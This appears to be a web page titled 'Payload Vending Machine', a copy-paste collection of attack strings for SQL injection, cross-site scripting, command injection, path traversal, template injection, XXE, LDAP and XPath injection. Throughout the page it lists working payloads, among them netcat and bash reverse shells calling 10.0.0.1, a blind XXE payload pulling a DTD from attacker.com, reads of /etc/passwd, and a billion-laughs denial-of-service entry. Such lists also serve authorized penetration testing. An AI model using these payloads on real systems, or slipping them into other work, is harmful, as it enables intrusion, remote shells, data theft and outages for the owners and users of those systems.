Loading favorites storage...
Payload Vending Machine
A massive collection of copy-paste payloads for SQLi, XSS, RCE, and more.
Generic Auth Bypass
Classic tautology bypass
' OR 1=1 --
Admin Auth Bypass
String based tautology
' OR '1'='1
Username Auth Bypass
Comment out password check
admin' --
Auth Bypass (Hash)
MySQL comment style
' OR '1'='1' #
Auth Bypass (Union)
Union based login bypass
' UNION SELECT 1, 'admin', 'password' --
Union Select Test
Test column count (3)
' UNION SELECT 1,2,3 --
Union Select Version
Get DB version (MSSQL/MySQL)
' UNION SELECT @@version,2,3 --
Union Select User
Get current user
' UNION SELECT user(),2,3 --
Union Select Tables
List tables (MySQL)
' UNION SELECT table_name,2,3 FROM information_schema.tables --
Error Based (Convert)
MSSQL conversion error
' AND 1=CONVERT(int, (SELECT @@version)) --
Time Based (Sleep)
MSSQL 5 second delay
'; WAITFOR DELAY '0:0:5' --
Time Based (Sleep MySQL)
MySQL 5 second delay
' AND SLEEP(5) --
Time Based (PG Sleep)
PostgreSQL 5 second delay
'; SELECT pg_sleep(5); --
Blind Boolean True
Should return normal page
' AND 1=1 --
Blind Boolean False
Should return missing content
' AND 1=2 --
SQLi Polyglot
Try to sleep in multiple contexts
SLEEP(5) /*' or SLEEP(5) or '" or SLEEP(5) or "*/
Basic Alert
Classic script tag
<script>alert(1)</script>
Basic Prompt
Prompt dialog
<script>prompt(1)</script>
Image OnError
Image tag error handler
<img src=x onerror=alert(1)>
SVG OnLoad
SVG load handler
<svg/onload=alert(1)>
Body OnLoad
Body load handler
<body onload=alert(1)>
XSS Polyglot
Breaks out of many contexts
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
XSS Polyglot Short
Break attribute and script
"><script>alert(1)</script>
Attribute Break
Break out of attribute
" onmouseover="alert(1)
Protocol Handler
URL protocol
javascript:alert(1)
AngularJS Template
Angular sandbox escape
{{constructor.constructor('alert(1)')()}}
VueJS Template
Vue sandbox escape
{{_openBlock.constructor('alert(1)')()}}
Unix List Files
Semicolon separator
; ls -la
Unix ID
Backtick execution
`id`
Unix Pipe
Pipe to command
| cat /etc/passwd
Unix Background
Background execution
& ping -c 10 127.0.0.1 &
Windows Dir
Windows separator
& dir
Windows IPConfig
OR operator
|| ipconfig
Blind Sleep (Unix)
Execution delay
; sleep 10
Blind Ping
Ping delay
; ping -c 10 127.0.0.1
Netcat Reverse Shell
Classic nc reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Bash Reverse Shell
Bash TCP reverse shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Etc Passwd
Standard traversal
../../../../../etc/passwd
Null Byte
Null byte bypass
../../../../../etc/passwd%00
Double Encoding
URL double encoding
%252e%252e%252fetc%252fpasswd
Windows Boot.ini
Windows boot config
../../../../../boot.ini
Windows Win.ini
Windows config
../../../../../windows/win.ini
PHP Filter Base64
Read source code
php://filter/convert.base64-encode/resource=index.php
PHP Input
Execute POST data
php://input
Data URI
Inline execution
data:text/plain,<?php system('id'); ?>
Jinja2 Basic
Basic math test
{{7*7}}
Jinja2 Config
Dump config
{{config.items()}}
Jinja2 RCE
Python RCE (index varies)
{{''.__class__.__mro__[1].__subclasses__()[401]('whoami', shell=True, stdout=-1).communicate()}}
Twig Basic
Basic math test
{{7*7}}
Twig RCE
Twig RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Java Basic
EL expression
${7*7}
Spring RCE
Spring SpEL RCE
${T(java.lang.Runtime).getRuntime().exec('calc')}
XXE File Read
Basic file read
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>
XXE SSRF
Internal network probe
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "http://internal.service/">]><root>&test;</root>
Blind XXE OOB
Out of band exfiltration
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">%remote;]><root/>
Billion Laughs
DoS Attack
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">...]>
LDAP Bypass
Wildcard bypass
*
LDAP Admin
Logic bypass
admin)(|(&
XPath Bypass
XPath injection
' or '1'='1
Format String
Leak stack memory
%x %x %x %x